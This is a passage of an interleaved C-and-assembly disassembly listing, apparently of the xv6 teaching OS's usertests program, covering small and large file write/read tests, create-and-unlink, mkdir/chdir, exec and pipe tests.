d5: e8 6e 3b 00 00 call 3c48 <open>
da: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
dd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
e1: 78 21 js 104 <writetest+0x59>
printf(stdout, "creat small succeeded; ok\n");
e3: a1 b4 5e 00 00 mov 0x5eb4,%eax
e8: c7 44 24 04 e4 41 00 movl $0x41e4,0x4(%esp)
ef: 00
f0: 89 04 24 mov %eax,(%esp)
f3: e8 a0 3c 00 00 call 3d98 <printf>
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
ff: e9 9f 00 00 00 jmp 1a3 <writetest+0xf8>
printf(stdout, "small file test\n");
fd = open("small", O_CREATE|O_RDWR);
if(fd >= 0){
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
104: a1 b4 5e 00 00 mov 0x5eb4,%eax
109: c7 44 24 04 ff 41 00 movl $0x41ff,0x4(%esp)
110: 00
111: 89 04 24 mov %eax,(%esp)
114: e8 7f 3c 00 00 call 3d98 <printf>
exit();
119: e8 ea 3a 00 00 call 3c08 <exit>
}
for(i = 0; i < 100; i++){
if(write(fd, "aaaaaaaaaa", 10) != 10){
11e: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
125: 00
126: c7 44 24 04 1b 42 00 movl $0x421b,0x4(%esp)
12d: 00
12e: 8b 45 f0 mov -0x10(%ebp),%eax
131: 89 04 24 mov %eax,(%esp)
134: e8 ef 3a 00 00 call 3c28 <write>
139: 83 f8 0a cmp $0xa,%eax
13c: 74 21 je 15f <writetest+0xb4>
printf(stdout, "error: write aa %d new file failed\n", i);
13e: a1 b4 5e 00 00 mov 0x5eb4,%eax
143: 8b 55 f4 mov -0xc(%ebp),%edx
146: 89 54 24 08 mov %edx,0x8(%esp)
14a: c7 44 24 04 28 42 00 movl $0x4228,0x4(%esp)
151: 00
152: 89 04 24 mov %eax,(%esp)
155: e8 3e 3c 00 00 call 3d98 <printf>
exit();
15a: e8 a9 3a 00 00 call 3c08 <exit>
}
if(write(fd, "bbbbbbbbbb", 10) != 10){
15f: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
166: 00
167: c7 44 24 04 4c 42 00 movl $0x424c,0x4(%esp)
16e: 00
16f: 8b 45 f0 mov -0x10(%ebp),%eax
172: 89 04 24 mov %eax,(%esp)
175: e8 ae 3a 00 00 call 3c28 <write>
17a: 83 f8 0a cmp $0xa,%eax
17d: 74 21 je 1a0 <writetest+0xf5>
printf(stdout, "error: write bb %d new file failed\n", i);
17f: a1 b4 5e 00 00 mov 0x5eb4,%eax
184: 8b 55 f4 mov -0xc(%ebp),%edx
187: 89 54 24 08 mov %edx,0x8(%esp)
18b: c7 44 24 04 58 42 00 movl $0x4258,0x4(%esp)
192: 00
193: 89 04 24 mov %eax,(%esp)
196: e8 fd 3b 00 00 call 3d98 <printf>
exit();
19b: e8 68 3a 00 00 call 3c08 <exit>
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
1a0: ff 45 f4 incl -0xc(%ebp)
1a3: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
1a7: 0f 8e 71 ff ff ff jle 11e <writetest+0x73>
if(write(fd, "bbbbbbbbbb", 10) != 10){
printf(stdout, "error: write bb %d new file failed\n", i);
exit();
}
}
printf(stdout, "writes ok\n");
1ad: a1 b4 5e 00 00 mov 0x5eb4,%eax
1b2: c7 44 24 04 7c 42 00 movl $0x427c,0x4(%esp)
1b9: 00
1ba: 89 04 24 mov %eax,(%esp)
1bd: e8 d6 3b 00 00 call 3d98 <printf>
close(fd);
1c2: 8b 45 f0 mov -0x10(%ebp),%eax
1c5: 89 04 24 mov %eax,(%esp)
1c8: e8 63 3a 00 00 call 3c30 <close>
fd = open("small", O_RDONLY);
1cd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1d4: 00
1d5: c7 04 24 de 41 00 00 movl $0x41de,(%esp)
1dc: e8 67 3a 00 00 call 3c48 <open>
1e1: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
1e4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1e8: 78 3e js 228 <writetest+0x17d>
printf(stdout, "open small succeeded ok\n");
1ea: a1 b4 5e 00 00 mov 0x5eb4,%eax
1ef: c7 44 24 04 87 42 00 movl $0x4287,0x4(%esp)
1f6: 00
1f7: 89 04 24 mov %eax,(%esp)
1fa: e8 99 3b 00 00 call 3d98 <printf>
} else {
printf(stdout, "error: open small failed!\n");
exit();
}
i = read(fd, buf, 2000);
1ff: c7 44 24 08 d0 07 00 movl $0x7d0,0x8(%esp)
206: 00
207: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
20e: 00
20f: 8b 45 f0 mov -0x10(%ebp),%eax
212: 89 04 24 mov %eax,(%esp)
215: e8 06 3a 00 00 call 3c20 <read>
21a: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 2000){
21d: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp)
224: 74 1c je 242 <writetest+0x197>
226: eb 4c jmp 274 <writetest+0x1c9>
close(fd);
fd = open("small", O_RDONLY);
if(fd >= 0){
printf(stdout, "open small succeeded ok\n");
} else {
printf(stdout, "error: open small failed!\n");
228: a1 b4 5e 00 00 mov 0x5eb4,%eax
22d: c7 44 24 04 a0 42 00 movl $0x42a0,0x4(%esp)
234: 00
235: 89 04 24 mov %eax,(%esp)
238: e8 5b 3b 00 00 call 3d98 <printf>
exit();
23d: e8 c6 39 00 00 call 3c08 <exit>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
242: a1 b4 5e 00 00 mov 0x5eb4,%eax
247: c7 44 24 04 bb 42 00 movl $0x42bb,0x4(%esp)
24e: 00
24f: 89 04 24 mov %eax,(%esp)
252: e8 41 3b 00 00 call 3d98 <printf>
} else {
printf(stdout, "read failed\n");
exit();
}
close(fd);
257: 8b 45 f0 mov -0x10(%ebp),%eax
25a: 89 04 24 mov %eax,(%esp)
25d: e8 ce 39 00 00 call 3c30 <close>
if(unlink("small") < 0){
262: c7 04 24 de 41 00 00 movl $0x41de,(%esp)
269: e8 ea 39 00 00 call 3c58 <unlink>
26e: 85 c0 test %eax,%eax
270: 78 1c js 28e <writetest+0x1e3>
272: eb 34 jmp 2a8 <writetest+0x1fd>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
} else {
printf(stdout, "read failed\n");
274: a1 b4 5e 00 00 mov 0x5eb4,%eax
279: c7 44 24 04 ce 42 00 movl $0x42ce,0x4(%esp)
280: 00
281: 89 04 24 mov %eax,(%esp)
284: e8 0f 3b 00 00 call 3d98 <printf>
exit();
289: e8 7a 39 00 00 call 3c08 <exit>
}
close(fd);
if(unlink("small") < 0){
printf(stdout, "unlink small failed\n");
28e: a1 b4 5e 00 00 mov 0x5eb4,%eax
293: c7 44 24 04 db 42 00 movl $0x42db,0x4(%esp)
29a: 00
29b: 89 04 24 mov %eax,(%esp)
29e: e8 f5 3a 00 00 call 3d98 <printf>
exit();
2a3: e8 60 39 00 00 call 3c08 <exit>
}
printf(stdout, "small file test ok\n");
2a8: a1 b4 5e 00 00 mov 0x5eb4,%eax
2ad: c7 44 24 04 f0 42 00 movl $0x42f0,0x4(%esp)
2b4: 00
2b5: 89 04 24 mov %eax,(%esp)
2b8: e8 db 3a 00 00 call 3d98 <printf>
}
2bd: c9 leave
2be: c3 ret
000002bf <writetest1>:
void
writetest1(void)
{
2bf: 55 push %ebp
2c0: 89 e5 mov %esp,%ebp
2c2: 83 ec 28 sub $0x28,%esp
int i, fd, n;
printf(stdout, "big files test\n");
2c5: a1 b4 5e 00 00 mov 0x5eb4,%eax
2ca: c7 44 24 04 04 43 00 movl $0x4304,0x4(%esp)
2d1: 00
2d2: 89 04 24 mov %eax,(%esp)
2d5: e8 be 3a 00 00 call 3d98 <printf>
fd = open("big", O_CREATE|O_RDWR);
2da: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2e1: 00
2e2: c7 04 24 14 43 00 00 movl $0x4314,(%esp)
2e9: e8 5a 39 00 00 call 3c48 <open>
2ee: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
2f1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2f5: 79 1a jns 311 <writetest1+0x52>
printf(stdout, "error: creat big failed!\n");
2f7: a1 b4 5e 00 00 mov 0x5eb4,%eax
2fc: c7 44 24 04 18 43 00 movl $0x4318,0x4(%esp)
303: 00
304: 89 04 24 mov %eax,(%esp)
307: e8 8c 3a 00 00 call 3d98 <printf>
exit();
30c: e8 f7 38 00 00 call 3c08 <exit>
}
for(i = 0; i < MAXFILE; i++){
311: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
318: eb 50 jmp 36a <writetest1+0xab>
((int*)buf)[0] = i;
31a: b8 a0 86 00 00 mov $0x86a0,%eax
31f: 8b 55 f4 mov -0xc(%ebp),%edx
322: 89 10 mov %edx,(%eax)
if(write(fd, buf, 512) != 512){
324: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
32b: 00
32c: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
333: 00
334: 8b 45 ec mov -0x14(%ebp),%eax
337: 89 04 24 mov %eax,(%esp)
33a: e8 e9 38 00 00 call 3c28 <write>
33f: 3d 00 02 00 00 cmp $0x200,%eax
344: 74 21 je 367 <writetest1+0xa8>
printf(stdout, "error: write big file failed\n", i);
346: a1 b4 5e 00 00 mov 0x5eb4,%eax
34b: 8b 55 f4 mov -0xc(%ebp),%edx
34e: 89 54 24 08 mov %edx,0x8(%esp)
352: c7 44 24 04 32 43 00 movl $0x4332,0x4(%esp)
359: 00
35a: 89 04 24 mov %eax,(%esp)
35d: e8 36 3a 00 00 call 3d98 <printf>
exit();
362: e8 a1 38 00 00 call 3c08 <exit>
if(fd < 0){
printf(stdout, "error: creat big failed!\n");
exit();
}
for(i = 0; i < MAXFILE; i++){
367: ff 45 f4 incl -0xc(%ebp)
36a: 8b 45 f4 mov -0xc(%ebp),%eax
36d: 3d 8b 00 00 00 cmp $0x8b,%eax
372: 76 a6 jbe 31a <writetest1+0x5b>
printf(stdout, "error: write big file failed\n", i);
exit();
}
}
close(fd);
374: 8b 45 ec mov -0x14(%ebp),%eax
377: 89 04 24 mov %eax,(%esp)
37a: e8 b1 38 00 00 call 3c30 <close>
fd = open("big", O_RDONLY);
37f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
386: 00
387: c7 04 24 14 43 00 00 movl $0x4314,(%esp)
38e: e8 b5 38 00 00 call 3c48 <open>
393: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
396: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
39a: 79 1a jns 3b6 <writetest1+0xf7>
printf(stdout, "error: open big failed!\n");
39c: a1 b4 5e 00 00 mov 0x5eb4,%eax
3a1: c7 44 24 04 50 43 00 movl $0x4350,0x4(%esp)
3a8: 00
3a9: 89 04 24 mov %eax,(%esp)
3ac: e8 e7 39 00 00 call 3d98 <printf>
exit();
3b1: e8 52 38 00 00 call 3c08 <exit>
}
n = 0;
3b6: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(;;){
i = read(fd, buf, 512);
3bd: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
3c4: 00
3c5: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
3cc: 00
3cd: 8b 45 ec mov -0x14(%ebp),%eax
3d0: 89 04 24 mov %eax,(%esp)
3d3: e8 48 38 00 00 call 3c20 <read>
3d8: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 0){
3db: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3df: 75 2e jne 40f <writetest1+0x150>
if(n == MAXFILE - 1){
3e1: 81 7d f0 8b 00 00 00 cmpl $0x8b,-0x10(%ebp)
3e8: 0f 85 8b 00 00 00 jne 479 <writetest1+0x1ba>
printf(stdout, "read only %d blocks from big", n);
3ee: a1 b4 5e 00 00 mov 0x5eb4,%eax
3f3: 8b 55 f0 mov -0x10(%ebp),%edx
3f6: 89 54 24 08 mov %edx,0x8(%esp)
3fa: c7 44 24 04 69 43 00 movl $0x4369,0x4(%esp)
401: 00
402: 89 04 24 mov %eax,(%esp)
405: e8 8e 39 00 00 call 3d98 <printf>
exit();
40a: e8 f9 37 00 00 call 3c08 <exit>
}
break;
} else if(i != 512){
40f: 81 7d f4 00 02 00 00 cmpl $0x200,-0xc(%ebp)
416: 74 21 je 439 <writetest1+0x17a>
printf(stdout, "read failed %d\n", i);
418: a1 b4 5e 00 00 mov 0x5eb4,%eax
41d: 8b 55 f4 mov -0xc(%ebp),%edx
420: 89 54 24 08 mov %edx,0x8(%esp)
424: c7 44 24 04 86 43 00 movl $0x4386,0x4(%esp)
42b: 00
42c: 89 04 24 mov %eax,(%esp)
42f: e8 64 39 00 00 call 3d98 <printf>
exit();
434: e8 cf 37 00 00 call 3c08 <exit>
}
if(((int*)buf)[0] != n){
439: b8 a0 86 00 00 mov $0x86a0,%eax
43e: 8b 00 mov (%eax),%eax
440: 3b 45 f0 cmp -0x10(%ebp),%eax
443: 74 2c je 471 <writetest1+0x1b2>
printf(stdout, "read content of block %d is %d\n",
n, ((int*)buf)[0]);
445: b8 a0 86 00 00 mov $0x86a0,%eax
} else if(i != 512){
printf(stdout, "read failed %d\n", i);
exit();
}
if(((int*)buf)[0] != n){
printf(stdout, "read content of block %d is %d\n",
44a: 8b 10 mov (%eax),%edx
44c: a1 b4 5e 00 00 mov 0x5eb4,%eax
451: 89 54 24 0c mov %edx,0xc(%esp)
455: 8b 55 f0 mov -0x10(%ebp),%edx
458: 89 54 24 08 mov %edx,0x8(%esp)
45c: c7 44 24 04 98 43 00 movl $0x4398,0x4(%esp)
463: 00
464: 89 04 24 mov %eax,(%esp)
467: e8 2c 39 00 00 call 3d98 <printf>
n, ((int*)buf)[0]);
exit();
46c: e8 97 37 00 00 call 3c08 <exit>
}
n++;
471: ff 45 f0 incl -0x10(%ebp)
}
474: e9 44 ff ff ff jmp 3bd <writetest1+0xfe>
if(i == 0){
if(n == MAXFILE - 1){
printf(stdout, "read only %d blocks from big", n);
exit();
}
break;
479: 90 nop
n, ((int*)buf)[0]);
exit();
}
n++;
}
close(fd);
47a: 8b 45 ec mov -0x14(%ebp),%eax
47d: 89 04 24 mov %eax,(%esp)
480: e8 ab 37 00 00 call 3c30 <close>
if(unlink("big") < 0){
485: c7 04 24 14 43 00 00 movl $0x4314,(%esp)
48c: e8 c7 37 00 00 call 3c58 <unlink>
491: 85 c0 test %eax,%eax
493: 79 1a jns 4af <writetest1+0x1f0>
printf(stdout, "unlink big failed\n");
495: a1 b4 5e 00 00 mov 0x5eb4,%eax
49a: c7 44 24 04 b8 43 00 movl $0x43b8,0x4(%esp)
4a1: 00
4a2: 89 04 24 mov %eax,(%esp)
4a5: e8 ee 38 00 00 call 3d98 <printf>
exit();
4aa: e8 59 37 00 00 call 3c08 <exit>
}
printf(stdout, "big files ok\n");
4af: a1 b4 5e 00 00 mov 0x5eb4,%eax
4b4: c7 44 24 04 cb 43 00 movl $0x43cb,0x4(%esp)
4bb: 00
4bc: 89 04 24 mov %eax,(%esp)
4bf: e8 d4 38 00 00 call 3d98 <printf>
}
4c4: c9 leave
4c5: c3 ret
000004c6 <createtest>:
void
createtest(void)
{
4c6: 55 push %ebp
4c7: 89 e5 mov %esp,%ebp
4c9: 83 ec 28 sub $0x28,%esp
int i, fd;
printf(stdout, "many creates, followed by unlink test\n");
4cc: a1 b4 5e 00 00 mov 0x5eb4,%eax
4d1: c7 44 24 04 dc 43 00 movl $0x43dc,0x4(%esp)
4d8: 00
4d9: 89 04 24 mov %eax,(%esp)
4dc: e8 b7 38 00 00 call 3d98 <printf>
name[0] = 'a';
4e1: c6 05 a0 a6 00 00 61 movb $0x61,0xa6a0
name[2] = '\0';
4e8: c6 05 a2 a6 00 00 00 movb $0x0,0xa6a2
for(i = 0; i < 52; i++){
4ef: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
4f6: eb 30 jmp 528 <createtest+0x62>
name[1] = '0' + i;
4f8: 8b 45 f4 mov -0xc(%ebp),%eax
4fb: 83 c0 30 add $0x30,%eax
4fe: a2 a1 a6 00 00 mov %al,0xa6a1
fd = open(name, O_CREATE|O_RDWR);
503: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
50a: 00
50b: c7 04 24 a0 a6 00 00 movl $0xa6a0,(%esp)
512: e8 31 37 00 00 call 3c48 <open>
517: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
51a: 8b 45 f0 mov -0x10(%ebp),%eax
51d: 89 04 24 mov %eax,(%esp)
520: e8 0b 37 00 00 call 3c30 <close>
printf(stdout, "many creates, followed by unlink test\n");
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
525: ff 45 f4 incl -0xc(%ebp)
528: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
52c: 7e ca jle 4f8 <createtest+0x32>
name[1] = '0' + i;
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
52e: c6 05 a0 a6 00 00 61 movb $0x61,0xa6a0
name[2] = '\0';
535: c6 05 a2 a6 00 00 00 movb $0x0,0xa6a2
for(i = 0; i < 52; i++){
53c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
543: eb 1a jmp 55f <createtest+0x99>
name[1] = '0' + i;
545: 8b 45 f4 mov -0xc(%ebp),%eax
548: 83 c0 30 add $0x30,%eax
54b: a2 a1 a6 00 00 mov %al,0xa6a1
unlink(name);
550: c7 04 24 a0 a6 00 00 movl $0xa6a0,(%esp)
557: e8 fc 36 00 00 call 3c58 <unlink>
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
55c: ff 45 f4 incl -0xc(%ebp)
55f: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
563: 7e e0 jle 545 <createtest+0x7f>
name[1] = '0' + i;
unlink(name);
}
printf(stdout, "many creates, followed by unlink; ok\n");
565: a1 b4 5e 00 00 mov 0x5eb4,%eax
56a: c7 44 24 04 04 44 00 movl $0x4404,0x4(%esp)
571: 00
572: 89 04 24 mov %eax,(%esp)
575: e8 1e 38 00 00 call 3d98 <printf>
}
57a: c9 leave
57b: c3 ret
0000057c <dirtest>:
void dirtest(void)
{
57c: 55 push %ebp
57d: 89 e5 mov %esp,%ebp
57f: 83 ec 18 sub $0x18,%esp
printf(stdout, "mkdir test\n");
582: a1 b4 5e 00 00 mov 0x5eb4,%eax
587: c7 44 24 04 2a 44 00 movl $0x442a,0x4(%esp)
58e: 00
58f: 89 04 24 mov %eax,(%esp)
592: e8 01 38 00 00 call 3d98 <printf>
if(mkdir("dir0") < 0){
597: c7 04 24 36 44 00 00 movl $0x4436,(%esp)
59e: e8 cd 36 00 00 call 3c70 <mkdir>
5a3: 85 c0 test %eax,%eax
5a5: 79 1a jns 5c1 <dirtest+0x45>
printf(stdout, "mkdir failed\n");
5a7: a1 b4 5e 00 00 mov 0x5eb4,%eax
5ac: c7 44 24 04 3b 44 00 movl $0x443b,0x4(%esp)
5b3: 00
5b4: 89 04 24 mov %eax,(%esp)
5b7: e8 dc 37 00 00 call 3d98 <printf>
exit();
5bc: e8 47 36 00 00 call 3c08 <exit>
}
if(chdir("dir0") < 0){
5c1: c7 04 24 36 44 00 00 movl $0x4436,(%esp)
5c8: e8 ab 36 00 00 call 3c78 <chdir>
5cd: 85 c0 test %eax,%eax
5cf: 79 1a jns 5eb <dirtest+0x6f>
printf(stdout, "chdir dir0 failed\n");
5d1: a1 b4 5e 00 00 mov 0x5eb4,%eax
5d6: c7 44 24 04 49 44 00 movl $0x4449,0x4(%esp)
5dd: 00
5de: 89 04 24 mov %eax,(%esp)
5e1: e8 b2 37 00 00 call 3d98 <printf>
exit();
5e6: e8 1d 36 00 00 call 3c08 <exit>
}
if(chdir("..") < 0){
5eb: c7 04 24 5c 44 00 00 movl $0x445c,(%esp)
5f2: e8 81 36 00 00 call 3c78 <chdir>
5f7: 85 c0 test %eax,%eax
5f9: 79 1a jns 615 <dirtest+0x99>
printf(stdout, "chdir .. failed\n");
5fb: a1 b4 5e 00 00 mov 0x5eb4,%eax
600: c7 44 24 04 5f 44 00 movl $0x445f,0x4(%esp)
607: 00
608: 89 04 24 mov %eax,(%esp)
60b: e8 88 37 00 00 call 3d98 <printf>
exit();
610: e8 f3 35 00 00 call 3c08 <exit>
}
if(unlink("dir0") < 0){
615: c7 04 24 36 44 00 00 movl $0x4436,(%esp)
61c: e8 37 36 00 00 call 3c58 <unlink>
621: 85 c0 test %eax,%eax
623: 79 1a jns 63f <dirtest+0xc3>
printf(stdout, "unlink dir0 failed\n");
625: a1 b4 5e 00 00 mov 0x5eb4,%eax
62a: c7 44 24 04 70 44 00 movl $0x4470,0x4(%esp)
631: 00
632: 89 04 24 mov %eax,(%esp)
635: e8 5e 37 00 00 call 3d98 <printf>
exit();
63a: e8 c9 35 00 00 call 3c08 <exit>
}
printf(stdout, "mkdir test\n");
63f: a1 b4 5e 00 00 mov 0x5eb4,%eax
644: c7 44 24 04 2a 44 00 movl $0x442a,0x4(%esp)
64b: 00
64c: 89 04 24 mov %eax,(%esp)
64f: e8 44 37 00 00 call 3d98 <printf>
}
654: c9 leave
655: c3 ret
00000656 <exectest>:
void
exectest(void)
{
656: 55 push %ebp
657: 89 e5 mov %esp,%ebp
659: 83 ec 18 sub $0x18,%esp
printf(stdout, "exec test\n");
65c: a1 b4 5e 00 00 mov 0x5eb4,%eax
661: c7 44 24 04 84 44 00 movl $0x4484,0x4(%esp)
668: 00
669: 89 04 24 mov %eax,(%esp)
66c: e8 27 37 00 00 call 3d98 <printf>
if(exec("echo", echoargv) < 0){
671: c7 44 24 04 a0 5e 00 movl $0x5ea0,0x4(%esp)
678: 00
679: c7 04 24 60 41 00 00 movl $0x4160,(%esp)
680: e8 bb 35 00 00 call 3c40 <exec>
685: 85 c0 test %eax,%eax
687: 79 1a jns 6a3 <exectest+0x4d>
printf(stdout, "exec echo failed\n");
689: a1 b4 5e 00 00 mov 0x5eb4,%eax
68e: c7 44 24 04 8f 44 00 movl $0x448f,0x4(%esp)
695: 00
696: 89 04 24 mov %eax,(%esp)
699: e8 fa 36 00 00 call 3d98 <printf>
exit();
69e: e8 65 35 00 00 call 3c08 <exit>
}
}
6a3: c9 leave
6a4: c3 ret
000006a5 <pipe1>:
// simple fork and pipe read/write
void
pipe1(void)
{
6a5: 55 push %ebp
6a6: 89 e5 mov %esp,%ebp
6a8: 83 ec 38 sub $0x38,%esp
int fds[2], pid;
int seq, i, n, cc, total;
if(pipe(fds) != 0){
6ab: 8d 45 d8 lea -0x28(%ebp),%eax
6ae: 89 04 24 mov %eax,(%esp)
6b1: e8 62 35 00 00 call 3c18 <pipe>
6b6: 85 c0 test %eax,%eax
6b8: 74 19 je 6d3 <pipe1+0x2e>
printf(1, "pipe() failed\n");
6ba: c7 44 24 04 a1 44 00 movl $0x44a1,0x4(%esp)
6c1: 00
6c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
6c9: e8 ca 36 00 00 call 3d98 <printf>
exit();
6ce: e8 35 35 00 00 call 3c08 <exit>
}
pid = fork();
6d3: e8 28 35 00 00 call 3c00 <fork>
6d8: 89 45 e0 mov %eax,-0x20(%ebp)
seq = 0;
6db: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(pid == 0){
6e2: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
6e6: 0f 85 83 00 00 00 jne 76f <pipe1+0xca>
close(fds[0]);
6ec: 8b 45 d8 mov -0x28(%ebp),%eax
6ef: 89 04 24 mov %eax,(%esp)
6f2: e8 39 35 00 00 call 3c30 <close>
for(n = 0; n < 5; n++){
6f7: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
6fe: eb 64 jmp 764 <pipe1+0xbf>
for(i = 0; i < 1033; i++)
700: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
707: eb 14 jmp 71d <pipe1+0x78>
buf[i] = seq++;
709: 8b 45 f4 mov -0xc(%ebp),%eax
70c: 8b 55 f0 mov -0x10(%ebp),%edx
70f: 81 c2 a0 86 00 00 add $0x86a0,%edx
715: 88 02 mov %al,(%edx)
717: ff 45 f4 incl -0xc(%ebp)
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
for(i = 0; i < 1033; i++)
71a: ff 45 f0 incl -0x10(%ebp)
71d: 81 7d f0 08 04 00 00 cmpl $0x408,-0x10(%ebp)
724: 7e e3 jle 709 <pipe1+0x64>
buf[i] = seq++;
if(write(fds[1], buf, 1033) != 1033){
726: 8b 45 dc mov -0x24(%ebp),%eax
729: c7 44 24 08 09 04 00 movl $0x409,0x8(%esp)
730: 00
731: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
738: 00
739: 89 04 24 mov %eax,(%esp)
73c: e8 e7 34 00 00 call 3c28 <write>
741: 3d 09 04 00 00 cmp $0x409,%eax
746: 74 19 je 761 <pipe1+0xbc>
printf(1, "pipe1 oops 1\n");
748: c7 44 24 04 b0 44 00 movl $0x44b0,0x4(%esp)
74f: 00
750: c7 04 24 01 00 00 00 movl $0x1,(%esp)
757: e8 3c 36 00 00 call 3d98 <printf>
exit();
75c: e8 a7 34 00 00 call 3c08 <exit>
}
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
761: ff 45 ec incl -0x14(%ebp)
764: 83 7d ec 04 cmpl $0x4,-0x14(%ebp)
768: 7e 96 jle 700 <pipe1+0x5b>
if(write(fds[1], buf, 1033) != 1033){
printf(1, "pipe1 oops 1\n");
exit();
}
}
exit();
76a: e8 99 34 00 00 call 3c08 <exit>
} else if(pid > 0){
76f: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
773: 0f 8e f9 00 00 00 jle 872 <pipe1+0x1cd>
close(fds[1]);
779: 8b 45 dc mov -0x24(%ebp),%eax
77c: 89 04 24 mov %eax,(%esp)
77f: e8 ac 34 00 00 call 3c30 <close>
total = 0;
784: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
cc = 1;
78b: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
while((n = read(fds[0], buf, cc)) > 0){
792: eb 68 jmp 7fc <pipe1+0x157>
for(i = 0; i < n; i++){
794: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
79b: eb 3d jmp 7da <pipe1+0x135>
if((buf[i] & 0xff) != (seq++ & 0xff)){
79d: 8b 45 f0 mov -0x10(%ebp),%eax
7a0: 05 a0 86 00 00 add $0x86a0,%eax
7a5: 8a 00 mov (%eax),%al
7a7: 0f be c0 movsbl %al,%eax
7aa: 33 45 f4 xor -0xc(%ebp),%eax
7ad: 25 ff 00 00 00 and $0xff,%eax
7b2: 85 c0 test %eax,%eax
7b4: 0f 95 c0 setne %al
7b7: ff 45 f4 incl -0xc(%ebp)
7ba: 84 c0 test %al,%al
7bc: 74 19 je 7d7 <pipe1+0x132>
printf(1, "pipe1 oops 2\n");
7be: c7 44 24 04 be 44 00 movl $0x44be,0x4(%esp)
7c5: 00
7c6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
7cd: e8 c6 35 00 00 call 3d98 <printf>
7d2: e9 b4 00 00 00 jmp 88b <pipe1+0x1e6>
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
for(i = 0; i < n; i++){
7d7: ff 45 f0 incl -0x10(%ebp)
7da: 8b 45 f0 mov -0x10(%ebp),%eax
7dd: 3b 45 ec cmp -0x14(%ebp),%eax
7e0: 7c bb jl 79d <pipe1+0xf8>
if((buf[i] & 0xff) != (seq++ & 0xff)){
printf(1, "pipe1 oops 2\n");
return;
}
}
total += n;
7e2: 8b 45 ec mov -0x14(%ebp),%eax
7e5: 01 45 e4 add %eax,-0x1c(%ebp)
cc = cc * 2;
7e8: d1 65 e8 shll -0x18(%ebp)
if(cc > sizeof(buf))
7eb: 8b 45 e8 mov -0x18(%ebp),%eax
7ee: 3d 00 20 00 00 cmp $0x2000,%eax
7f3: 76 07 jbe 7fc <pipe1+0x157>
cc = sizeof(buf);
7f5: c7 45 e8 00 20 00 00 movl $0x2000,-0x18(%ebp)
exit();
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
7fc: 8b 45 d8 mov -0x28(%ebp),%eax
7ff: 8b 55 e8 mov -0x18(%ebp),%edx
802: 89 54 24 08 mov %edx,0x8(%esp)
806: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
80d: 00
80e: 89 04 24 mov %eax,(%esp)
811: e8 0a 34 00 00 call 3c20 <read>
816: 89 45 ec mov %eax,-0x14(%ebp)
819: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
81d: 0f 8f 71 ff ff ff jg 794 <pipe1+0xef>
total += n;
cc = cc * 2;
if(cc > sizeof(buf))
cc = sizeof(buf);
}
if(total != 5 * 1033){
823: 81 7d e4 2d 14 00 00 cmpl $0x142d,-0x1c(%ebp)
82a: 74 20 je 84c <pipe1+0x1a7>
printf(1, "pipe1 oops 3 total %d\n", total);
82c: 8b 45 e4 mov -0x1c(%ebp),%eax
